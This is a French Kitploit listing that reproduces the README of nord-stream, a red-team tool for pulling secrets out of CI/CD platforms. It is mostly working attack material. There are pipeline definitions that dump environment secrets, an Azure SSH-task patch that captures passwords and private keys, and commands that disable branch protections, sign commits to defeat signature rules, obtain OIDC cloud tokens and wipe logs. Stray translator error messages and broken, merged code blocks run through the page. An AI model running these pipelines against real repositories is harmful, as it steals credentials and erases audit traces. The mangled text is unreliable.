Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
nord-stream — Nord Stream est un outil qui vous permet d'extraire des secrets stockés dans les environnements CI/CD en déployant des pipelines malveillants. Il prend actuellement en charge Azure DevOps, GitHub et GitLab. | Kitploit
Outils/GitHubGitHub/synacktiv/nord-stream
ExploitationOutils d'ImpersonationExfiltration de DonnéesCollecte d'InformationsTests d'IntrusionDevSecOpsDétection de SecretsRed Teaming
GitHubsynacktiv/nord-stream

nord-stream

Nord Stream est un outil qui vous permet d'extraire des secrets stockés dans les environnements CI/CD en déployant des pipelines malveillants. Il prend actuellement en charge Azure DevOps, GitHub et GitLab.

Voir le dépôt
3702247il y a 2 moisVérifié par Kitploit
Site web

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Nord Stream

Nord Stream est un outil qui vous permet d'extraire les secrets stockés dans les environnements CI/CD en déployant des pipelines malveillants.

Il prend actuellement en charge Azure DevOps, GitHub et GitLab.

En savoir plus dans l'article de blog suivant : https://www.synacktiv.com/publications/cicd-secrets-extraction-tips-and-tricks

Table des matières

  • Nord Stream
    • Table des matières
    • Installation
    • Utilisation
      • Arguments partagés
        • Décrire le jeton
        • Créer le YAML
        • YAML
        • Nettoyer les journaux
        • Signer les commits
      • Azure DevOps
        • Connexions de service
          • SSH
        • Lister les organisations
        • Aide
      • GitHub
        • Lister les protections
        • Désactiver les protections
        • Forcer
        • Azure OIDC
        • AWS OIDC
        • Aide
      • GitLab
        • Lister les secrets
Output directory for logs --ignore-cert Allow insecure server connections Output directory for logs --url <gitlab_url> Gitlab URL [default: ] --ignore-cert Allow insecure server connections
  • YAML
  • Lister les protections
  • Aide
  • TODO
  • Contact
  • Installation```

    $ pipx install git+https://github.com/synacktiv/nord-stream

    root@kitploit:~
    `git` est également requis (voir https://git-scm.com/download/) et doit exister dans votre `PATH`.
    
    ## Utilisation
    
    Voici un exemple simple sur GitHub ; au départ, on peut énumérer les différents secrets.```sh
    $ nord-stream github --token "$GHP" --org org --list-secrets --repo repo
    [*] Listing secrets:
    [*] "org/repo" secrets
    [*] Repo secrets:
            - REPO_SECRET
            - SUPER_SECRET
    [*] PROD secrets:
            - PROD_SECRET
    

    Ensuite, procédez à l'exfiltration :```sh $ nord-stream github --token "$GHP" --org org --repo repo
    [+] "org/repo" [] No branch protection rule found on "dev_remote_ea5Eu/test/v1" branch [] Getting secrets from repo: "org/repo" [*] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Secrets: secret_SUPER_SECRET=value for super secret secret_REPO_SECRET=repository secret

    [] Getting secrets from environment: "PROD" (org/repo) [] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Secrets: secret_PROD_SECRET=Value only accessible from prod environment

    [] Cleaning logs. [] Check output: /home/hugov/Documents/pentest/RD/CICD/tools/nord-stream/nord-stream/nord-stream-logs/github

    root@kitploit:~
    ### Arguments partagés
    
    Certains arguments sont partagés entre [GitHub](#github), [Azure DevOps](#azure-devops) et [GitLab](#gitlab), voici quelques exemples.
    
    #### Décrire le jeton
    
    L'option `--describe-token` peut être utilisée pour afficher des informations générales sur votre jeton :```bash
    $ nord-stream github --token "$PAT" --describe-token
    [*] Token information:
            - Login: CICD
            - IsAdmin: False
            - Id: 1337
            - Bio: None
    
    

    Build YAML

    L'option --build-yaml peut être utilisée pour créer un fichier de pipeline sans le déployer. Elle récupère les différents noms de secrets pour construire le pipeline associé, qui peut être utilisé pour ajouter des étapes personnalisées :```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --env PROD --build-yaml custom.yml [+] YAML file: name: GitHub Actions 'on': push jobs: init: runs-on: ubuntu-latest steps: - run: env -0 | awk -v RS='\0' '/^secret_/ {print $0}' | base64 -w0 | base64 -w0 name: command env: secret_PROD_SECRET: ${{secrets.PROD_SECRET}} environment: PROD

    root@kitploit:~
    #### YAML
    
    L'option `--yaml` peut être utilisée pour déployer un pipeline personnalisé:```yml
    name: GitHub Actions
    'on': push
    jobs:
      init:
        runs-on: ubuntu-latest
        steps:
        - run: echo "Hello from step 1"
          name: step 1
        - run: echo "Doing some important stuff here"
          name: command
        - run: echo "Hello from last step "
          name: last step
    

    I don't see any content in the INPUT section to translate. Please provide the chunk text.```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --yaml custom.yml [+] "synacktiv/repo" [] No branch protection rule found on "dev_remote_ea5Eu/test/v1"branch [] Running custom workflow: .../custom.yml [*] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Workflow output: 2023-07-18T20:08:33.0073670Z ##[group]Run echo "Doing some important stuff here" 2023-07-18T20:08:33.0074247Z echo "Doing some important stuff here" 2023-07-18T20:08:33.0136846Z shell: /usr/bin/bash -e {0} 2023-07-18T20:08:33.0137261Z ##[endgroup] 2023-07-18T20:08:33.0422019Z Doing some important stuff here

    [] Cleaning logs. [] Check output: .../nord-stream-logs/github

    root@kitploit:~
    Par défaut, il affichera la sortie de la tâche nommée `command` du job `init`, mais tout est stocké localement et peut être consulté manuellement :```bash
    $ cat nord-stream-logs/github/synacktiv/repo/workflow_custom_2023-07-18_22-08-44/init/4_last\ step.txt
    2023-07-18T20:08:33.0458509Z ##[group]Run echo "Hello from last step "
    2023-07-18T20:08:33.0459084Z echo "Hello from last step "
    2023-07-18T20:08:33.0511473Z shell: /usr/bin/bash -e {0}
    2023-07-18T20:08:33.0511890Z ##[endgroup]
    2023-07-18T20:08:33.0597853Z Hello from last step
    

    Nettoyage des journaux

    Par défaut, Nord Stream tentera de supprimer les traces laissées après le déploiement d'un pipeline, selon vos privilèges. Pour conserver les traces, l'option --no-clean peut être utilisée. Cela conservera les journaux du pipeline, mais cela annulera toujours les modifications apportées au dépôt. Notez que pour GitLab, certaines traces ne peuvent pas être supprimées.

    Signature des commits

    Les administrateurs de dépôt peuvent imposer la signature obligatoire des commits sur une branche afin de bloquer tous les commits qui ne sont pas signés et vérifiés. Avec Nord Stream, il est possible de signer les commits pour contourner cette protection.

    Commencez par créer et importer votre clé GPG sur la plateforme SCM.```sh $ gpg --full-generate-key $ gpg --armor --export F94496913C43EFC5 $ gpg --list-secret-keys --keyid-format=long sec dsa2048/F94496913C43EFC5 2023-07-18 [SC] [expires: 2023-07-23] Key fingerprint = B158 3F43 9899 C5A3 B74E D04B F944 9691 3C43 EFC5 uid [ultimate] test-gpg [email protected]

    root@kitploit:~
    Aucun contenu source n'a été fourni. Veuillez coller le bloc Markdown à traduire.```bash
    $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main  --key-id F94496913C43EFC5 --user test-gpg --email [email protected] --force
    [*] Using branch: "main"
    [+] "synacktiv/repo"
    [*] Getting secrets from environment: "prod" (synacktiv/repo)
    [*] Getting workflow output
    [!] Workflow not finished, sleeping for 15s
    [+] Workflow has successfully terminated.
    [+] Secrets:
    secret_PROD_SECRET=my PROD_SECRET
    
    

    [No content provided after "INPUT:"]```bash $ git verify-commit 00dcd856624bc9a41f8bd70662f0650839730973 gpg: Signature made Tue 18 Jul 2023 10:34:18 PM CEST gpg: using DSA key B1583F439899C5A3B74ED04BF94496913C43EFC5 gpg: Good signature from "test-gpg [email protected]" [ultimate] Primary key fingerprint: B158 3F43 9899 C5A3 B74E D04B F944 9691 3C43 EFC5

    root@kitploit:~
    ### Azure DevOps
    
    Nord Stream peut extraire les types de secrets suivants :
    - Groupes de variables (vg)
    - Fichiers sécurisés (sf)
    - Connexions de service
    
    #### Connexions de service
    
    Azure DevOps offre la possibilité de créer des connexions avec des services externes et distants pour exécuter des tâches dans un travail. Pour ce faire, des connexions de service sont utilisées. Une connexion de service contient les informations d'identification d'une identité vers un service distant. Il existe plusieurs types de connexions de service dans Azure DevOps.
    
    Nord Stream prend actuellement en charge l'extraction de secrets pour les types de connexions de service suivants :
    - AzureRM
    - GitHub
    - AWS
    - SonarQube
    - SSH
    
    Si vous rencontrez un type non pris en charge, veuillez ouvrir une issue ou soumettre une pull request :)
    
    ##### SSH
    
    L'extraction pour ce type de connexion de service a été pénible à implémenter. Le résultat est le suivant :```
    hostname:::port:::user:::password:::privatekey
    

    Si vous souhaitez l'exécuter sur un runner auto-hébergé, vous pouvez procéder comme suit :``` $ nord-stream devops ... --build-yaml test.yml --build-type ssh
    [+] YAML file: trigger: none pool: vmImage: ubuntu-latest steps:

    • checkout: none
    • script: SSH_FILE=$(find /home/vsts/work/_tasks/ -name ssh.js) ; cp $SSH_FILE $SSH_FILE.bak ; sed -i 's|const readyTimeout = getReadyTimeoutVariable();|const readyTimeout = getReadyTimeoutVariable();\nconst fs = require("fs");var data = "";data += hostname
      • ":::" + port + ":::" + username + ":::" + password + ":::" + privateKey;fs.writeFile("/tmp/artefacts.tar.gz", data, (err) => {});|' $SSH_FILE displayName: Preparing Build artefacts
    • task: SSH@0 inputs: sshEndpoint: '#FIXME' runOptions: commands commands: sleep 1
    • script: SSH_FILE=$(find /home/vsts/work/_tasks/ -name ssh.js); mv $SSH_FILE.bak $SSH_FILE ; cat /tmp/artefacts.tar.gz | base64 -w0 | base64 -w0 ; echo '' displayName: Build artefacts
    root@kitploit:~
    Ensuite, vous devez :
    1) remplacer `vmImage: ubuntu-latest` par `name: 'Nom du pool auto-hébergé'`
    2) ajouter le nom de la connexion de service dans le placeholder `#FIXME`.
    3) déployer le pipeline avec : `--yaml test.yml`
    
    Si vous devez exécuter ceci sur un runner auto-hébergé Windows, dans la méthode `generatePipelineForSSH`, remplacez `_serviceConnectionTemplateSSH` par `_serviceConnectionTemplateSSHWindows` et effectuez les actions décrites précédemment.
    
    Remarque : pour les runners auto-hébergés Windows et Linux, vous devez adapter le chemin (`/home/vsts/work/_tasks/` ou `D:\a\`) pour qu'il corresponde au chemin où le runner est déployé. Cette information peut être obtenue dans l'onglet `Capabilities` d'un agent sur Azure DevOps.
    
    #### Lister les organisations
    
    Avec un jeton d'accès, il est possible de lister les organisations liées à un utilisateur :```
    $ nord-stream devops --token "eyJ0eXA..." --list-orgs
    [*] User orgs:
            - myorg
            - supersecretorg
    

    Ceci est basé sur cette recherche.

    Aide```

    $ nord-stream devops -h CICD pipeline exploitation tool

    Usage: nord-stream devops [options] --token --org [extraction] [--project --write-filter --no-clean --branch-name --pipeline-name --repo-name ] nord-stream devops [options] --token --org --yaml --project [--write-filter --no-clean --branch-name --pipeline-name --repo-name ] nord-stream devops [options] --token --org --build-yaml [--build-type ] nord-stream devops [options] --token --org --clean-logs [--project ] nord-stream devops [options] --token --org --list-projects [--write-filter] nord-stream devops [options] --token --org (--list-secrets [--project --write-filter] | --list-users) nord-stream devops [options] --token --org --describe-token

    Options: -h --help Show this screen. --version Show version. -v, --verbose Verbose mode -d, --debug Debug mode --output-dir

    Commit: --user User used to commit --email Email address used commit --key-id GPG primary key ID to sign commits

    args: --token Azure DevOps personal token or JWT --org Org name -p, --project Run on selected project (can be a file) -y, --yaml Run arbitrary job --clean-logs Delete all pipeline created by this tool. This operation is done by default but can be manually triggered. --no-clean Don't clean pipeline logs (default false) --list-projects List all projects. --list-secrets List all secrets. --list-users List all users. --write-filter Filter projects where current user has write or admin access. --build-yaml Create a pipeline yaml file with default configuration. --build-type Type used to generate the yaml file can be: default, azurerm, github, aws, sonar, ssh --describe-token Display information on the token --branch-name Use specific branch name for deployment. --pipeline-name Use pipeline for deployment. --repo-name Use specific repo for deployment.

    Exctraction: --extract Extract following secrets [vg,sf,gh,az,aws,sonar,ssh] --no-extract Don't extract following secrets [vg,sf,gh,az,aws,sonar,ssh]

    Examples: List all secrets from all projects $ nord-stream devops --token "$PAT" --org myorg --list-secrets

    root@kitploit:~
    Dump all secrets from all projects
    $ nord-stream devops --token "$PAT" --org myorg
    

    Authors: @hugow @0hexit

    root@kitploit:~
    ### GitHub
    
    #### Lister les protections
    
    L'option `--list-protections` peut être utilisée pour lister les protections appliquées à une branche et aux environnements :```bash
    $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --list-protections
    [*] Using branch: "main"
    [*] Checking security: "synacktiv/repo"
    [*] Found branch protection rule on "main" branch
    [*] Branch protections:
            - enforce admins: True
            - block creations: True
            - required signatures: True
            - allow force pushes: False
            - allow deletions: False
            - required pull request reviews: False
            - required linear history: False
            - required conversation resolution: False
            - lock branch: False
            - allow fork syncing: False
    [*] Environment protection for: "DEV":
            - deployment branch policy: custom
    [*] No environment protection rule found for: "INT"
    [*] Environment protection for: "PROD":
            - deployment branch policy: custom
    

    Selon vos permissions, vous pouvez avoir moins d'informations ; seuls les administrateurs peuvent avoir tous les détails des protections.

    Désactiver les protections

    L'option --disable-protections peut être utilisée pour désactiver temporairement les protections appliquées à une branche ou à un environnement, réaliser le dump et restaurer toutes les protections :```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --no-repo --no-org --env prod --disable-protections [] Using branch: "main" [+] "synacktiv/repo" [] Found branch protection rule on "main" branch [...] [!] Removing branch protection, wait until it's restored. [] Getting secrets from environment: "prod" (synacktiv/repo) [] Environment protection for: "PROD": - deployment branch policy: custom [!] Modifying env protection, wait until it's restored. [*] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [!] Restoring env protections. [+] Secrets: secret_PROD_SECRET=my PROD_SECRET

    [*] Cleaning logs. [!] Restoring branch protection.

    root@kitploit:~
    Cela nécessite des privilèges administrateur.
    
    #### Forcer
    
    Par défaut, si Nord Stream détecte une protection sur une branche ou sur un environnement, il n'effectuera pas l'extraction des secrets. Si vous pensez que les protections sont trop permissives ou peuvent être contournées avec vos privilèges, l'option `--force` peut être utilisée pour déployer le pipeline indépendamment des protections.
    
    #### Azure OIDC
    
    OIDC (OpenID Connect) peut être utilisé pour se connecter à des services cloud. L'idée générale est de permettre aux pipelines ou workflows autorisés d'obtenir des jetons d'accès à courte durée de vie directement auprès d'un fournisseur cloud, sans impliquer de secrets statiques. L'autorisation repose sur des relations de confiance configurées côté fournisseur cloud et est conditionnée par l'origine du pipeline ou du workflow.
    
    Voici un exemple de workflow GitHub utilisant OIDC :```yaml
    [...]
    steps:
        - name: OIDC Login to Azure Public Cloud
        uses: azure/login@v1
        with:
            client-id: ${{ secrets.AZURE_CLIENT_ID }}
            tenant-id: ${{ secrets.AZURE_TENANT_ID }}
            subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }} # this can be optional
    

    Si vous rencontrez un tel workflow, cela signifie que le dépôt pourrait être configuré pour obtenir un jeton d'accès à courte durée de vie qui peut vous donner accès aux ressources Azure.

    Nord Stream est capable de déployer un pipeline pour récupérer un tel jeton d'accès avec les options suivantes :```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --azure-client-id 65cd6002-25b9-11ee-88ac-7f80b19430c2 --azure-tenant-id 65cd6002-25b9-11ee-88ac-7f80b19430c2 [] Using branch: "main" [+] "synacktiv/repo" [] No branch protection rule found on "main" branch [] Running OIDC Azure access tokens generation workflow [] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] OIDC access tokens: Access token to use with Azure Resource Manager API: { "accessToken": "eyJ0eXAiOiJK[...]PVig", "expiresOn": "2023-07-18 23:18:57.000000", "subscription": "65cd6002-25b9-11ee-88ac-7f80b19430c2", "tenant": "65cd6002-25b9-11ee-88ac-7f80b19430c2", "tokenType": "Bearer" }

    Access token to use with MS Graph API: { "accessToken": "eyJ0eXAi[...]_qTA", "expiresOn": "2023-07-19 22:18:59.000000", "subscription": "65cd6002-25b9-11ee-88ac-7f80b19430c2", "tenant": "65cd6002-25b9-11ee-88ac-7f80b19430c2", "tokenType": "Bearer" }

    root@kitploit:~
    Le `--azure-subscription-id` est optionnel et peut être utilisé pour obtenir un jeton d'accès pour un abonnement spécifique.
    
    #### AWS OIDC
    
    La même technique (voir [Azure OIDC](#azure-oidc)) peut être utilisée pour obtenir un jeton de session sur AWS.
    
    Voici un exemple de workflow utilisant AWS OIDC :```yaml
    [...]
    steps:
        - name: Configure AWS Credentials
        uses: aws-actions/configure-aws-credentials@v1
        with:
            role-to-assume: arn:aws:iam::133333333337:role/S3Access/CustomRole
            role-session-name: oidcrolesession
            aws-region: us-east-1
    

    Si vous rencontrez un tel workflow, cela signifie que le dépôt peut être configuré pour obtenir un jeton d'accès AWS qui peut vous donner accès aux ressources AWS.

    Nord Stream est capable de déployer un pipeline pour récupérer ce jeton d'accès avec les options suivantes :```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --aws-role 'arn:aws:iam::133333333337:role/S3Access/CustomRole' --aws-region us-east-1 --force [+] "Synacktiv/repo" [] Running OIDC AWS credentials generation workflow [] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] OIDC credentials: AWS_DEFAULT_REGION=us-east-1 AWS_SESSION_TOKEN=IQoJb3[...]KMs0/QB6 AWS_REGION=us-east-1 AWS_ACCESS_KEY_ID=ASIA5ABC8XDMAP2ANNWO AWS_SECRET_ACCESS_KEY=7KJLCjdJKqlpLKDAI9F7SH6SjSQBX68Sjm13xXDA

    root@kitploit:~
    #### Aide```
    $ nord-stream github -h
    CICD pipeline exploitation tool
    
    Usage:
        nord-stream github [options] --token <ghp> --org <org> [--repo <repo> --no-repo --no-env --no-org --env <env> --disable-protections --branch-name <name> --no-clean (--key-id <id> --user <user> --email <email>)]
        nord-stream github [options] --token <ghp> --org <org> --yaml <yaml> --repo <repo> [--env <env> --disable-protections --branch-name <name> --no-clean (--key-id <id> --user <user> --email <email>)]
        nord-stream github [options] --token <ghp> --org <org> ([--clean-logs] [--clean-branch-policy]) [--repo <repo> --branch-name <name>]
        nord-stream github [options] --token <ghp> --org <org> --build-yaml <filename> --repo <repo> [--env <env>]
        nord-stream github [options] --token <ghp> --org <org> --azure-tenant-id <tenant> --azure-client-id <client> [--azure-subscription-id <subscription> --repo <repo> --env <env> --disable-protections --branch-name <name> --no-clean]
        nord-stream github [options] --token <ghp> --org <org> --aws-role <role> --aws-region <region> [--repo <repo> --env <env> --disable-protections --branch-name <name> --no-clean]
        nord-stream github [options] --token <ghp> --org <org> --list-protections [--repo <repo> --branch-name <name> --disable-protections (--key-id <id> --user <user> --email <email>)]
        nord-stream github [options] --token <ghp> --org <org> --list-secrets [--repo <repo> --no-repo --no-env --no-org]
        nord-stream github [options] --token <ghp> [--org <org>] --list-repos [--write-filter]
        nord-stream github [options] --token <ghp> --describe-token
    
    Options:
        -h --help                               Show this screen.
        --version                               Show version.
        -v, --verbose                           Verbose mode
        -d, --debug                             Debug mode
        --output-dir <dir>                      Output directory for logs
    
    Signing:
        --key-id <id>                           GPG primary key ID
        --user <user>                           User used to sign commits
        --email <email>                         Email address used to sign commits
    
    args
        --token <ghp>                           Github personal token
        --org <org>                             Org name
        -r, --repo <repo>                       Run on selected repo (can be a file)
        -y, --yaml <yaml>                       Run arbitrary job
        --clean-logs                            Delete all logs created by this tool. This operation is done by default but can be manually triggered.
        --no-clean                              Don't clean workflow logs (default false)
        --clean-branch-policy                   Remove branch policy, can be used with --repo. This operation is done by default but can be manually triggered.
        --build-yaml <filename>                 Create a pipeline yaml file with all secrets.
        --env <env>                             Specify env for the yaml file creation.
        --no-repo                               Don't extract repo secrets.
        --no-env                                Don't extract environnments secrets.
        --no-org                                Don't extract organization secrets.
        --azure-tenant-id <tenant>              Identifier of the Azure tenant associated with the application having federated credentials (OIDC related).
        --azure-subscription-id <subscription>  Identifier of the Azure subscription associated with the application having federated credentials (OIDC related).
        --azure-client-id <client>              Identifier of the Azure application (client) associated with the application having federated credentials (OIDC related).
        --aws-role <role>                       AWS role to assume (OIDC related).
        --aws-region <region>                   AWS region (OIDC related).
        --list-protections                      List all protections.
        --list-repos                            List all repos.
        --list-secrets                          List all secrets.
        --disable-protections                   Disable the branch protection rules (needs admin rights)
        --write-filter                          Filter repo where current user has write or admin access.
        --force                                 Don't check environment and branch protections.
        --branch-name <name>                    Use specific branch name for deployment.
        --describe-token                        Display information on the token
    
    Examples:
        List all secrets from all repositories
        $ nord-stream github --token "$GHP" --org myorg --list-secrets
    
        Dump all secrets from all repositories and try to disable branch protections
        $ nord-stream github --token "$GHP" --org myorg --disable-protections
    
    Authors: @hugow @0hexit
    

    GitLab

    Comme décrit dans l'article, il n'existe aucun moyen de supprimer les journaux dans l'onglet activité après un déploiement de pipeline. Cela doit être pris en compte lors des engagements Red Team.

    Lister les secrets

    L'option --list-secrets peut être utilisée pour lister et extraire les secrets de GitLab.

    La façon dont GitLab gère les secrets est un peu différente de celle d'Azure DevOps et de GitHub action. Avec un accès administrateur à un projet, un groupe ou même un accès administrateur sur l'instance GitLab, il est possible d'extraire toutes les variables CI/CD définies sans déployer de pipeline.

    Cependant, à partir d'un utilisateur à faibles privilèges, il n'est pas possible de lister les secrets définis au niveau du projet, du groupe ou de l'instance. Toutefois, si les utilisateurs ont des droits d'écriture sur un projet, ils pourront déployer un pipeline malveillant pour exfiltrer les variables d'environnement exposant les variables CI/CD. Cela signifie qu'un utilisateur à faibles privilèges n'a aucun moyen de savoir si un secret est défini dans un projet spécifique. La seule façon est d'examiner les pipelines légitimes déjà présents dans un projet et de vérifier si un pipeline utilise des variables d'environnement sensibles.

    Voici un fichier de pipeline pour effectuer cette opération sur GitLab :```yaml stages:

    • synacktiv

    deploy-production: image: ubuntu:latest stage: synacktiv script: - env | base64 -w0 | base64 -w 0

    root@kitploit:~
    GitLab prend également en charge les fichiers sécurisés comme Azure DevOps. Les fichiers sécurisés sont définis au niveau du projet. Comme pour les variables, il n'est pas possible de lister les fichiers sécurisés sans accès administrateur au projet. Cependant, avec un accès administrateur, nord-stream tentera d'exfiltrer les fichiers sécurisés liés aux projets.
    
    #### YAML
    
    Identique à [YAML](#yaml), cependant vous devez fournir le chemin complet du projet comme ceci :```sh
    $ nord-stream gitlab --token "$PAT" --url https://gitlab.corp.local --project 'group/projectname' --yaml ci.yml
    

    La sortie de la commande --list-projects renvoie un tel chemin.

    Liste des protections

    Identique à Liste des protections GitHub

    Aide```

    $ nord-stream gitlab -h CICD pipeline exploitation tool

    Usage: nord-stream gitlab [options] --token (--list-secrets | --list-protections) [--project --group --no-project --no-group --no-instance --write-filter] nord-stream gitlab [options] --token ( --list-groups | --list-projects ) [--project --group --write-filter] nord-stream gitlab [options] --token --yaml --project [--no-clean] nord-stream gitlab [options] --token --clean-logs [--project ] nord-stream gitlab [options] --token --describe-token

    Options: -h --help Show this screen. --version Show version. -v, --verbose Verbose mode -d, --debug Debug mode --output-dir

    https://gitlab.com

    Commit: --user User used to commit --email Email address used commit --key-id GPG primary key ID to sign commits

    args: --token GitLab personal access token or _gitlab_session cookie --project Run on selected project (can be a file) --group Run on selected group (can be a file) --list-secrets List all secrets. --list-protections List branch protection rules. --list-projects List all projects. --list-groups List all groups. --write-filter Filter repo where current user has developer access or more. --no-project Don't extract project secrets. --no-group Don't extract group secrets. --no-instance Don't extract instance secrets. -y, --yaml Run arbitrary job --branch-name Use specific branch name for deployment. --clean-logs Delete all pipeline logs created by this tool. This operation is done by default but can be manually triggered. --no-clean Don't clean pipeline logs (default false) --describe-token Display information on the token

    Examples: Dump all secrets $ nord-stream gitlab --token "$TOKEN" --url https://gitlab.local --list-secrets

    root@kitploit:~
    Deploy the custom pipeline on the master branch
    $ nord-stream gitlab --token "$TOKEN" --url https://gitlab.local --yaml exploit.yaml --branch master --project 'group/projectname'
    

    Authors: @hugow @0hexit

    root@kitploit:~
    ## TODO
    
    - [ ] Ajouter la prise en charge des URL correspondant aux instances Azure DevOps Server (solutions sur site)
    - [ ] Ajouter une option pour extraire les secrets via des hôtes Windows
    - [ ] Ajouter la prise en charge d'autres environnements CI/CD (Jenkins/Bitbucket)
    - [ ] Utiliser l'API GraphQL de GitHub au lieu de l'API REST pour lister les règles de protection de branche et les désactiver temporairement si elles correspondent à la branche malveillante sur le point d'être poussée
    
    
    ## Contact
    
    Veuillez soumettre tout bug, problème, question ou demande de fonctionnalité dans la section « Issues » ou envoyez-les-nous sur Twitter [@hugow](https://twitter.com/hugow_vincent) et [@0hexit](https://twitter.com/0hexit).
    
    Télécharger l’outil